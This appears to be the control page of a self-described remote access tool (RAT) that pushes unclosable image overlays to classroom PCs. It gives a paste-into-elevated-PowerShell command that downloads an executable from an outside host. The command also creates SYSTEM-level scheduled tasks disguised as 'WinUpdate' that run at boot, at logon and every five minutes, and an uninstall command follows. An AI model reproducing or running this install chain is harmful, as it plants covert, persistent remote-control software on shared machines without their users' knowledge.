Unclosable Remote Overlay (RAT)

Push an image overlay to every connected classroom PC.

0 clients connected

Image URL

Pinned — always kept

Recent images — click to switch

No images yet.

Connected clients

Deployment

Install / update Paste into an elevated PowerShell on the classroom PC

[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $u='https://hack.pratyush.website/downloads/app.exe'; $d='C:\Users\Public\Documents'; New-Item -ItemType Directory -Force -Path $d|Out-Null; iwr -useb $u -OutFile "$d\app.exe.tmp"; if((Get-Item "$d\app.exe.tmp").Length -lt 5MB){throw 'download corrupt'}; Unblock-File "$d\app.exe.tmp" -EA SilentlyContinue; taskkill /f /im app.exe 2>$null; Move-Item -Force "$d\app.exe.tmp" "$d\app.exe"; schtasks /Create /F /TN WinUpdate /TR "$d\app.exe" /SC ONSTART /RU SYSTEM /RL HIGHEST|Out-Null; schtasks /Create /F /TN WinUpdateLogon /TR "$d\app.exe" /SC ONLOGON /RU SYSTEM /RL HIGHEST|Out-Null; schtasks /Create /F /TN WinUpdatePulse /TR "$d\app.exe" /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST|Out-Null; schtasks /Run /TN WinUpdate|Out-Null; 'installed '+(Get-Item "$d\app.exe").VersionInfo.FileVersion

Uninstall — complete removal Kills the agent, deletes tasks, binary and logs

schtasks /End /TN WinUpdate 2>$null; schtasks /Delete /F /TN WinUpdate 2>$null; schtasks /Delete /F /TN WinUpdateLogon 2>$null; schtasks /Delete /F /TN WinUpdatePulse 2>$null; taskkill /f /im app.exe 2>$null; Start-Sleep 2; Remove-Item -Force 'C:\Users\Public\Documents\app.exe','C:\Users\Public\Documents\signage.log' -EA SilentlyContinue; Remove-Item -Force "$env:TEMP\app_new.exe" -EA SilentlyContinue; 'signage removed'